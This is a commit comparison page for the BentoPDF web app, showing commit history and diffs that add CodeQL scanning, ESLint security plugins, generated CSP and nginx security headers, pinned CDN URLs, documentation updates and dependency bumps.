Compare commits

...
43 Commits
Author SHA1 Message Date
alam00000 eff1548ebe Release v2.8.4 2026-04-21 19:34:58 +05:30
alam00000 18cdfac8cd fix(security): update script-src directive to include 'blob:' 2026-04-21 19:24:28 +05:30
alam00000 7587a5f94a feat(docs): add favicon SVG and update Nginx location directive for docs 2026-04-20 21:14:55 +05:30
alam00000 ac296cdb7f feat(security): add security headers documentation and update nginx configuration 2026-04-20 16:03:22 +05:30
alam00000 81e82918bf feat(security): enhance CSP directives and add documentation support 2026-04-20 15:31:50 +05:30
alam00000 e37d2d539e fix(security): add 'blob:' to connect-src directive in CSP 2026-04-20 12:42:11 +05:30
alam00000 54c6091e10 fix(security): remove 'upgrade-insecure-requests' directive from CSP 2026-04-19 14:30:53 +05:30
alam00000 b612548b78 fix(security): update Cross-Origin-Embedder-Policy to 'credentialless' 2026-04-19 12:21:08 +05:30
alam00000 28b4f3ebc4 Release v2.8.3 2026-04-18 21:21:52 +05:30
alam00000 7527187812 feat(Security): fixes 2026-04-18 16:58:55 +05:30
alam00000 b040aef729 chore(security): fixes 2026-04-18 15:21:59 +05:30
alam00000 121de29d80 feat(security): add CodeQL analysis workflow and ESLint security plugins 2026-04-18 14:46:51 +05:30
alam00000 df3567a61f fix(build): restore tsc compat after vitest bundler type drift 2026-04-18 13:53:02 +05:30
Alam af763d73c1 Merge pull request #643 from alam00000/dependabot/npm_and_yarn/vite-8.0.5
build(deps-dev): bump vite from 7.3.2 to 8.0.5
2026-04-18 12:52:19 +05:30
alam00000 b9f128f8c7 fix: update Content Security Policy 2026-04-18 00:29:33 +05:30
dependabot[bot] 478ccf3eda build(deps-dev): bump vite from 7.3.2 to 8.0.5
Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 7.3.2 to 8.0.5.
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v8.0.5/packages/vite)

---
updated-dependencies:
- dependency-name: vite
  dependency-version: 8.0.5
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-04-17 18:12:07 +00:00
alam00000 b4779bb49b feat: enhance sanitization 2026-04-17 23:40:39 +05:30
Alam d92ee1a003 Merge pull request #666 from pavel-miniutka/main
Belarusian translation update
2026-04-17 18:21:57 +05:30
Alam 4663ae7834 Merge pull request #650 from tkymmm/main
Add Japanese translation
2026-04-17 18:21:14 +05:30
Alam 2311125d92 Merge branch 'main' into main 2026-04-17 18:21:03 +05:30
Alam 2807489f2b Merge pull request #628 from SerhiiZahuba/main
Added Ukrainian translation
2026-04-17 18:18:15 +05:30
pavel-miniutka bb433b4afb more fixes 2026-04-17 14:32:18 +03:00
pavel-miniutka f4a01abffb Belarusian translation update 2026-04-17 14:20:46 +03:00
Alam c67e639dee Merge pull request #660 from alam00000/dependabot/npm_and_yarn/dompurify-3.4.0
build(deps): bump dompurify from 3.3.3 to 3.4.0
2026-04-17 02:57:18 +05:30
alam00000 75dad6e75d fix: replace iframe PDF rendering with direct canvas in form creator 2026-04-16 22:40:00 +05:30
dependabot[bot] 0ac37a87bc build(deps): bump dompurify from 3.3.3 to 3.4.0
Bumps [dompurify](https://github.com/cure53/DOMPurify) from 3.3.3 to 3.4.0.
- [Release notes](https://github.com/cure53/DOMPurify/releases)
- [Commits](https://github.com/cure53/DOMPurify/compare/3.3.3...3.4.0)

---
updated-dependencies:
- dependency-name: dompurify
  dependency-version: 3.4.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-04-16 03:43:04 +00:00
github-actions[bot] 651793bffa @tkymmm has signed the CLA in alam00000/bentopdf#650 2026-04-10 12:21:02 +00:00
tkymmm dc87af90ae Update tools.json 2026-04-10 18:13:08 +09:00
tkymmm e72df17c38 Add Japanese language support to Vite config 2026-04-10 17:33:54 +09:00
tkymmm 51fab1cbf8 Update i18n.ts 2026-04-10 17:33:09 +09:00
tkymmm 1b3df67c47 Add files via upload 2026-04-10 17:31:51 +09:00
github-actions[bot] 095d68df83 @SerhiiZahuba has signed the CLA in alam00000/bentopdf#628 2026-04-10 07:48:38 +00:00
Alam 5c956a5b15 Merge pull request #648 from ntfreak/static_pages
static.yml: fix static workflow regression from commit 1fc9620
2026-04-10 12:58:44 +05:30
github-actions[bot] d2e3dc1d89 @ntfreak has signed the CLA in alam00000/bentopdf#648 2026-04-08 21:13:23 +00:00
Spencer Oliver 934610522f static.yml: fix static workflow regression from commit 1fc96208
workflow deploy not running due to incorrect 'if' statement.
2026-04-08 22:02:18 +01:00
Spencer Oliver ad4cacd108 static.yml: normalise unix line endings
file contains mixed line endings - change to unix to match existing workflow files.
no code changes.
2026-04-08 21:56:20 +01:00
alam00000 a55a69487e fix: pdf rotation bug 2026-04-08 16:22:18 +05:30
Alam d17969a50d Merge pull request #642 from alam00000/dependabot/npm_and_yarn/vite-7.3.2
build(deps-dev): bump vite from 7.3.1 to 7.3.2
2026-04-07 13:13:28 +05:30
Alam ac20897e2a Merge pull request #641 from Stephan-P/patch-1
Update common.json - Dutch language
2026-04-07 13:13:05 +05:30
dependabot[bot] c745d55d32 build(deps-dev): bump vite from 7.3.1 to 7.3.2
Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 7.3.1 to 7.3.2.
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/v7.3.2/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v7.3.2/packages/vite)

---
updated-dependencies:
- dependency-name: vite
  dependency-version: 7.3.2
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-04-06 22:12:25 +00:00
Stephan Paternotte 2ff4272133 Update common.json - Dutch language
Corrections of automated translations
2026-04-06 22:13:10 +02:00
alam00000 1ffe63f9ed feat: include simple mode distribution in GitHub release artifacts 2026-04-05 14:03:44 +05:30
dedys e64595a42f Added Ukrainian translation 2026-04-03 10:21:58 +03:00
64 changed files with 6127 additions and 1800 deletions
+2 -2
View File
@@ -9,8 +9,8 @@ VITE_CORS_PROXY_SECRET=
# Pre-configured defaults enable advanced PDF features out of the box.
# For air-gapped / offline deployments, point these to your internal server (e.g., /wasm/pymupdf/).
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/[email protected]/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
# OCR assets (optional)
# Set all three together for self-hosted or air-gapped OCR.
+28
View File
@@ -0,0 +1,28 @@
name: BentoPDF CodeQL config
paths-ignore:
- dist
- dist-test
- coverage
- node_modules
- vendor
- bentopdf-pymupdf-wasm
- libreoffice-wasm-package
- bentopdf-airgap-bundle
- public/pdfjs-viewer
- public/pdfjs-annotation-viewer
- public/libreoffice-wasm
- public/coherentpdf.browser.min.js
- public/workers
- public/embedpdf
- docs/.vitepress
- '**/*.min.js'
- '**/*.d.ts'
query-filters:
- exclude:
id: js/log-injection
- exclude:
id: js/tainted-format-string
- exclude:
id: js/file-system-race
+3 -1
View File
@@ -44,7 +44,9 @@ jobs:
- name: Create GitHub Release
uses: softprops/action-gh-release@v2
with:
files: dist-${{ steps.version.outputs.version }}.zip
files: |
dist-${{ steps.version.outputs.version }}.zip
dist-simple-${{ steps.version.outputs.version }}.zip
generate_release_notes: true
draft: false
prerelease: false
+41
View File
@@ -0,0 +1,41 @@
name: CodeQL
on:
push:
branches: [main]
pull_request:
branches: [main]
schedule:
- cron: '0 6 * * 1'
permissions:
contents: read
jobs:
analyze:
name: Analyze (${{ matrix.language }})
runs-on: ubuntu-latest
permissions:
security-events: write
actions: read
contents: read
strategy:
fail-fast: false
matrix:
language: [javascript-typescript]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
with:
languages: ${{ matrix.language }}
queries: security-extended
config-file: ./.github/codeql-config.yml
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3
with:
category: /language:${{ matrix.language }}
+63 -64
View File
@@ -1,67 +1,66 @@
# Simple workflow for deploying static content to GitHub Pages
name: Deploy static content to Pages
on:
# Runs on pushes targeting the default branch
push:
branches: ["main"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
# Configure these variables under your repo settings.
# You will likely need to set BASE_URL to be the name of your repo eg 'bentopdf'
env:
SIMPLE_MODE: ${{ vars.SIMPLE_MODE }}
BASE_URL: ${{ vars.BASE_URL }}/
HUSKY: 0
jobs:
# Single deploy job since we're just deploying
# Simple workflow for deploying static content to GitHub Pages
name: Deploy static content to Pages
on:
# Runs on pushes targeting the default branch
push:
branches: ["main"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
# Configure these variables under your repo settings.
# You will likely need to set BASE_URL to be the name of your repo eg 'bentopdf'
env:
SIMPLE_MODE: ${{ vars.SIMPLE_MODE }}
BASE_URL: ${{ vars.BASE_URL }}/
HUSKY: 0
jobs:
# Single deploy job since we're just deploying
deploy:
if: github.repository == 'alam00000/bentopdf'
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: "20"
- name: Install dependencies
run: npm ci
- name: Build distribution
run: |
# export SIMPLE_MODE=${{ vars.SIMPLE_MODE }}
# export BASE_URL=${{ vars.BASE_URL }}/
npm run build
- name: Setup Pages
uses: actions/configure-pages@v5
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
# Upload entire repository
path: dist
name: github-pages-deployment
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4
with:
artifact_name: github-pages-deployment
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: "20"
- name: Install dependencies
run: npm ci
- name: Build distribution
run: |
# export SIMPLE_MODE=${{ vars.SIMPLE_MODE }}
# export BASE_URL=${{ vars.BASE_URL }}/
npm run build
- name: Setup Pages
uses: actions/configure-pages@v5
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
# Upload entire repository
path: dist
name: github-pages-deployment
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4
with:
artifact_name: github-pages-deployment
+10 -1
View File
@@ -33,6 +33,14 @@ coverage/
# Generated sitemap
public/sitemap.xml
# Generated by scripts/generate-security-headers.mjs at build time
security-headers.conf
# CodeQL local scan artifacts (npm run security:codeql)
codeql-db/
codeql-results.sarif
codeql-results.csv
#backup
.seo-backup
libreoffice-wasm-package
@@ -41,4 +49,5 @@ libreoffice-wasm-package
bentopdf-*.tgz
# test
dist-test
dist-test
test
+4 -2
View File
@@ -64,8 +64,8 @@ ENV DISABLE_TOOLS=$DISABLE_TOOLS
ENV NODE_OPTIONS="--max-old-space-size=3072"
RUN --mount=type=secret,id=VITE_CORS_PROXY_URL \
--mount=type=secret,id=VITE_CORS_PROXY_SECRET \
RUN --mount=type=secret,id=VITE_CORS_PROXY_URL,required=false \
--mount=type=secret,id=VITE_CORS_PROXY_SECRET,required=false \
VITE_CORS_PROXY_URL=$(cat /run/secrets/VITE_CORS_PROXY_URL 2>/dev/null || echo "") \
VITE_CORS_PROXY_SECRET=$(cat /run/secrets/VITE_CORS_PROXY_SECRET 2>/dev/null || echo "") \
npm run build:with-docs
@@ -89,6 +89,8 @@ USER nginx
COPY --chown=nginx:nginx --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
COPY --chown=nginx:nginx nginx.conf /etc/nginx/nginx.conf
COPY --chown=nginx:nginx --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
COPY --chown=nginx:nginx --from=builder /app/security-headers-docs.conf /etc/nginx/security-headers-docs.conf
COPY --chown=nginx:nginx --chmod=755 nginx-ipv6.sh /docker-entrypoint.d/99-disable-ipv6.sh
RUN mkdir -p /etc/nginx/tmp && chown -R nginx:nginx /etc/nginx/tmp
+4 -2
View File
@@ -57,8 +57,8 @@ ENV VITE_FOOTER_TEXT=$VITE_FOOTER_TEXT
ENV NODE_OPTIONS="--max-old-space-size=3072"
RUN --mount=type=secret,id=VITE_CORS_PROXY_URL \
--mount=type=secret,id=VITE_CORS_PROXY_SECRET \
RUN --mount=type=secret,id=VITE_CORS_PROXY_URL,required=false \
--mount=type=secret,id=VITE_CORS_PROXY_SECRET,required=false \
VITE_CORS_PROXY_URL=$(cat /run/secrets/VITE_CORS_PROXY_URL 2>/dev/null || echo "") \
VITE_CORS_PROXY_SECRET=$(cat /run/secrets/VITE_CORS_PROXY_SECRET 2>/dev/null || echo "") \
npm run build:with-docs
@@ -80,6 +80,8 @@ RUN apk upgrade --no-cache && apk add --no-cache su-exec
COPY --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
COPY nginx.conf /etc/nginx/nginx.conf
COPY --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
COPY --from=builder /app/security-headers-docs.conf /etc/nginx/security-headers-docs.conf
COPY --chmod=755 entrypoint.sh /entrypoint.sh
RUN mkdir -p /etc/nginx/tmp \
+6 -2
View File
@@ -470,8 +470,8 @@ The default URLs are set in `.env.production`:
```bash
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/[email protected]/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
VITE_TESSERACT_WORKER_URL=
VITE_TESSERACT_CORE_URL=
VITE_TESSERACT_LANG_URL=
@@ -1100,11 +1100,15 @@ For detailed release instructions, see [RELEASE.md](RELEASE.md).
```
3. **Run the Development Server**:
```bash
npm run dev
```
The application will be available at `http://localhost:5173`.
> The dev server binds to `localhost` only by default. To expose it on your LAN (e.g. for mobile device testing), set `VITE_DEV_HOST=0.0.0.0 npm run dev`. The built-in CORS proxy at `/cors-proxy?url=` restricts targets to a known host allowlist; to permit additional hosts in development, set `VITE_DEV_CORS_PROXY_EXTRA_HOSTS="host1.example.com,host2.example.com"`.
#### Option 2: Build and Run with Docker Compose
1. **Clone the Repository**:
+7
View File
@@ -0,0 +1,7 @@
<svg width="166" height="166" viewBox="0 0 166 166" fill="none" xmlns="http://www.w3.org/2000/svg">
<g transform="translate(40, 0)">
<path d="M56.7848 80.9116L0 25.6211L24.8434 1.43151C26.8037 -0.47717 29.9814 -0.47717 31.9414 1.43151L85.177 53.2662L56.7848 80.9116Z" fill="#A5B4FC"/>
<path d="M-1.30805e-05 80.7335L21.2939 101.467L42.5878 80.7335L21.2939 60L-1.30805e-05 80.7335Z" fill="#E0E7FF"/>
<path d="M56.7848 83L81.6279 107.19C83.5881 109.098 83.5881 112.192 81.6279 114.101L28.3925 165.936L0 138.29L56.7848 83Z" fill="#6366F1"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 550 B

+14 -2
View File
@@ -95,8 +95,8 @@ docker run -d -p 3000:8080 bentopdf:custom
| `SIMPLE_MODE` | Build without LibreOffice tools | `false` |
| `BASE_URL` | Deploy to subdirectory | `/` |
| `VITE_WASM_PYMUPDF_URL` | PyMuPDF WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/[email protected]/` |
| `VITE_WASM_GS_URL` | Ghostscript WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/` |
| `VITE_WASM_CPDF_URL` | CoherentPDF WASM module URL | `https://cdn.jsdelivr.net/npm/coherentpdf/dist/` |
| `VITE_WASM_GS_URL` | Ghostscript WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/` |
| `VITE_WASM_CPDF_URL` | CoherentPDF WASM module URL | `https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/` |
| `VITE_TESSERACT_WORKER_URL` | OCR worker script URL | _(empty; use Tesseract.js default CDN)_ |
| `VITE_TESSERACT_CORE_URL` | OCR core runtime directory | _(empty; use Tesseract.js default CDN)_ |
| `VITE_TESSERACT_LANG_URL` | OCR traineddata directory | _(empty; use Tesseract.js default CDN)_ |
@@ -110,6 +110,18 @@ docker run -d -p 3000:8080 bentopdf:custom
WASM module URLs are pre-configured with CDN defaults — all advanced features work out of the box. Override these for air-gapped or self-hosted deployments.
### Content-Security-Policy
The nginx image ships with an enforcing `Content-Security-Policy` header. The CSP's `script-src`, `connect-src`, and `font-src` directives are **generated at build time** from the `VITE_*` URL variables above — whatever hosts you pass via `--build-arg` are automatically added to the policy.
As a result:
- If you override `VITE_CORS_PROXY_URL` or `VITE_WASM_*_URL` at build time, the CSP permits those origins automatically — no extra config needed.
- If you configure custom WASM URLs at _runtime_ via the in-app Advanced Settings page, those origins are **not** in the CSP and the browser will block fetches to them. Runtime configuration is intended for experimentation; for permanent custom URLs set the matching `VITE_*` build arg.
- Air-gapped deployments that override all three `VITE_WASM_*_URL` values also get the public `cdn.jsdelivr.net` removed from CSP (each default is replaced, not appended). Similarly, setting `VITE_CORS_PROXY_URL` replaces the public `bentopdf-cors-proxy.bentopdf.workers.dev` default.
The CSP includes `'unsafe-eval'` in `script-src` because the LibreOffice WASM runtime (used by Word/Excel/PowerPoint conversion tools) compiles internal dispatch code via `new Function()`. Removing it would break all LibreOffice-backed tools. If you build in `SIMPLE_MODE` (without LibreOffice), you can manually edit the generated `security-headers.conf` to drop `'unsafe-eval'` for a stricter policy.
For OCR, leave the `VITE_TESSERACT_*` variables empty to use the default online assets, or set all three together for self-hosted/offline OCR. Partial OCR overrides are rejected because the worker, core runtime, and traineddata directory must match. For fully offline searchable PDF output, also set `VITE_OCR_FONT_BASE_URL` so the OCR text-layer fonts are loaded from your internal server instead of the public Noto font URLs.
`VITE_DEFAULT_LANGUAGE` sets the UI language for first-time visitors. Supported values: `en`, `ar`, `be`, `fr`, `de`, `es`, `zh`, `zh-TW`, `vi`, `tr`, `id`, `it`, `pt`, `nl`, `da`. Users can still switch languages — this only changes the default.
+2 -2
View File
@@ -203,8 +203,8 @@ These are set in `.env.production` and baked into the build:
```bash
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/[email protected]/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
VITE_TESSERACT_WORKER_URL=
VITE_TESSERACT_CORE_URL=
VITE_TESSERACT_LANG_URL=
+25
View File
@@ -26,6 +26,31 @@ The tool extracts PKCS#7 signature objects from the PDF, decodes the ASN.1 struc
- **Self-signed detection**: Is the certificate its own issuer?
- **Trust chain**: When a trusted certificate is provided, does the signer's certificate chain back to it?
### Cryptographic Verification
- The tool reconstructs the bytes covered by the signature's `/ByteRange`, hashes them with the algorithm the signer declared, and compares the result against the `messageDigest` attribute inside the signature.
- It then re-serializes the signed attributes as a DER SET and verifies the signature against the signer certificate's public key.
- **A signature is reported as valid only when all of these pass.** If the PDF bytes were modified after signing, or the embedded signature does not match the signer's key, the status shows "Invalid — Cryptographic Verification Failed" with the specific reason.
#### Supported Signature Algorithms
| Algorithm | Verification path |
| ----------------------- | -------------------------------------------------------------------------------------- |
| RSA (PKCS#1 v1.5) | node-forge `publicKey.verify`, with Web Crypto fallback |
| RSA-PSS (RSASSA-PSS) | Web Crypto `verify({name: 'RSA-PSS', saltLength})` |
| ECDSA P-256/P-384/P-521 | Web Crypto `verify({name: 'ECDSA', hash})` after DER → IEEE P1363 signature conversion |
If a signature uses an algorithm outside this list (for example Ed25519, SM2, or RSA with an unusual digest OID), the card shows **"Unverified — Unsupported Signature Algorithm"** in yellow, along with the specific OID or reason. This is a deliberate three-state distinction:
- **Valid** — signature cryptographically verified against the signer's public key.
- **Invalid** — verification ran and produced a negative result (bytes changed, key mismatch).
- **Unverified** — the tool could not run verification for this algorithm. The certificate metadata is still shown, but you should treat the signature as "unknown" and verify it with Adobe Acrobat or `openssl cms -verify`.
### Insecure Digest Algorithms
- Signatures using **MD5 or SHA-1** are rejected as invalid and flagged with "Insecure Digest" status. Both algorithms have published collision attacks, so a signature over a SHA-1 or MD5 hash offers no integrity guarantee.
- SHA-224, SHA-256, SHA-384, and SHA-512 are all accepted.
### Document Coverage
- **Full coverage**: The signature covers the entire PDF file, meaning no bytes were added or changed after signing.
+29
View File
@@ -2,6 +2,8 @@ import globals from 'globals';
import pluginJs from '@eslint/js';
import tseslint from 'typescript-eslint';
import eslintConfigPrettier from 'eslint-config-prettier';
import security from 'eslint-plugin-security';
import noUnsanitized from 'eslint-plugin-no-unsanitized';
export default [
{ files: ['**/*.{js,mjs,cjs,ts}'] },
@@ -12,14 +14,41 @@ export default [
'node_modules/**',
'**/.vitepress/cache/**',
'public/**/*.min.js',
'vendor/**',
'bentopdf-pymupdf-wasm/**',
'libreoffice-wasm-package/**',
'bentopdf-airgap-bundle/**',
'public/pdfjs-viewer/**',
'public/pdfjs-annotation-viewer/**',
'public/coherentpdf.browser.min.js',
'public/libreoffice-wasm/**',
'public/workers/**',
],
},
{ languageOptions: { globals: { ...globals.browser, ...globals.node } } },
pluginJs.configs.recommended,
...tseslint.configs.recommended,
eslintConfigPrettier,
security.configs.recommended,
noUnsanitized.configs.recommended,
{
rules: {
'no-unsanitized/method': 'warn',
'no-unsanitized/property': 'warn',
'security/detect-eval-with-expression': 'error',
'security/detect-new-buffer': 'error',
'security/detect-unsafe-regex': 'warn',
'security/detect-pseudoRandomBytes': 'error',
'security/detect-bidi-characters': 'error',
'security/detect-disable-mustache-escape': 'error',
'security/detect-possible-timing-attacks': 'off',
'security/detect-object-injection': 'off',
'security/detect-non-literal-fs-filename': 'off',
'security/detect-non-literal-regexp': 'off',
'security/detect-non-literal-require': 'off',
'security/detect-child-process': 'off',
'security/detect-no-csrf-before-method-override': 'off',
'security/detect-buffer-noassert': 'off',
'@typescript-eslint/no-explicit-any': 'warn',
'@typescript-eslint/no-unused-vars': [
'warn',
+13 -35
View File
@@ -12,7 +12,7 @@ http {
default_type application/octet-stream;
gzip_static on;
gzip on;
gzip_vary on;
gzip_min_length 1024;
@@ -27,27 +27,20 @@ http {
index index.html;
absolute_redirect off;
include /etc/nginx/security-headers.conf;
location ~ ^/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
try_files $uri $uri/ $uri.html /$1/index.html /index.html;
expires 5m;
add_header Cache-Control "public, must-revalidate";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
}
location ~ ^/(.+?)/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
try_files $uri $uri/ $uri.html /$1/$2/index.html /$1/index.html /index.html;
expires 5m;
add_header Cache-Control "public, must-revalidate";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
}
location ~* \.html$ {
expires 1h;
add_header Cache-Control "public, must-revalidate";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
}
location ~* /libreoffice-wasm/soffice\.wasm\.gz$ {
@@ -55,9 +48,8 @@ http {
types {} default_type application/wasm;
add_header Content-Encoding gzip;
add_header Vary "Accept-Encoding";
add_header Cache-Control "public, immutable";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
include /etc/nginx/security-headers.conf;
expires 1y;
}
location ~* /libreoffice-wasm/soffice\.data\.gz$ {
@@ -65,55 +57,41 @@ http {
types {} default_type application/octet-stream;
add_header Content-Encoding gzip;
add_header Vary "Accept-Encoding";
add_header Cache-Control "public, immutable";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
include /etc/nginx/security-headers.conf;
expires 1y;
}
location ~* \.(wasm|wasm\.gz|data|data\.gz)$ {
expires 1y;
add_header Cache-Control "public, immutable";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
}
location ~* \.(js|mjs|css|woff|woff2|ttf|eot|otf)$ {
expires 1y;
add_header Cache-Control "public, immutable";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
}
location ~* \.(png|jpg|jpeg|gif|ico|svg|webp|avif|mp4|webm)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
location ~* \.json$ {
expires 1w;
add_header Cache-Control "public, must-revalidate";
}
location ~* \.pdf$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
error_page 404 /404.html;
location ^~ /docs/ {
include /etc/nginx/security-headers-docs.conf;
try_files $uri $uri/ $uri.html /docs/index.html =404;
expires 5m;
}
location / {
try_files $uri $uri/ $uri.html =404;
expires 5m;
add_header Cache-Control "public, must-revalidate";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
}
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
}
}
+893 -707
View File
File diff suppressed because it is too large Load Diff
+15 -5
View File
@@ -1,12 +1,12 @@
{
"name": "bento-pdf",
"private": true,
"version": "2.8.2",
"version": "2.8.4",
"license": "AGPL-3.0-only",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs",
"build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs && node scripts/generate-security-headers.mjs",
"build:with-docs": "npm run build && npm run docs:build && node scripts/include-docs-in-dist.js",
"build:gzip": "COMPRESSION_MODE=g npm run build",
"build:brotli": "COMPRESSION_MODE=b npm run build",
@@ -33,6 +33,10 @@
"docs:preview": "vitepress preview docs",
"lint": "eslint .",
"lint:fix": "eslint . --fix",
"lint:security": "eslint . --no-inline-config --rule 'no-unsanitized/method:error' --rule 'no-unsanitized/property:error' --rule 'security/detect-eval-with-expression:error'",
"security:codeql": "codeql database create ./codeql-db --language=javascript-typescript --source-root=. --overwrite --threads=0 && codeql database analyze ./codeql-db --format=sarif-latest --output=codeql-results.sarif --threads=0 codeql/javascript-queries:codeql-suites/javascript-security-extended.qls",
"security:codeql:quick": "codeql database analyze ./codeql-db --format=csv --output=codeql-results.csv --threads=0 codeql/javascript-queries:codeql-suites/javascript-security-extended.qls",
"security:audit": "npm audit --audit-level=high && npm run lint:security",
"prepare": "husky"
},
"devDependencies": {
@@ -48,6 +52,8 @@
"@vitest/ui": "^4.0.18",
"eslint": "^10.0.2",
"eslint-config-prettier": "^10.1.8",
"eslint-plugin-no-unsanitized": "^4.1.5",
"eslint-plugin-security": "^4.0.0",
"globals": "^17.4.0",
"husky": "^9.1.7",
"jsdom": "^28.1.0",
@@ -55,10 +61,10 @@
"prettier": "^3.8.1",
"typescript": "~5.9.3",
"typescript-eslint": "^8.56.1",
"vite": "^7.3.1",
"vite": "^8.0.5",
"vite-plugin-compression": "^0.5.1",
"vite-plugin-handlebars": "^2.0.0",
"vite-plugin-node-polyfills": "^0.25.0",
"vite-plugin-node-polyfills": "^0.26.0",
"vitepress": "^1.6.4",
"vitest": "^4.0.18",
"vue": "^3.5.29"
@@ -86,7 +92,9 @@
"bwip-js": "^4.8.0",
"cropperjs": "^1.6.2",
"diff": "^8.0.3",
"dompurify": "^3.4.0",
"embedpdf-snippet": "file:vendor/embedpdf/embedpdf-snippet-2.9.1.tgz",
"fast-xml-parser": "^5.7.1",
"heic2any": "^0.0.4",
"highlight.js": "^11.11.1",
"html2canvas": "^1.4.1",
@@ -149,6 +157,8 @@
"flatted": "^3.4.2",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"lodash-es": "^4.18.1"
"lodash-es": "^4.18.1",
"follow-redirects": "^1.15.11",
"esbuild": "^0.25.0"
}
}
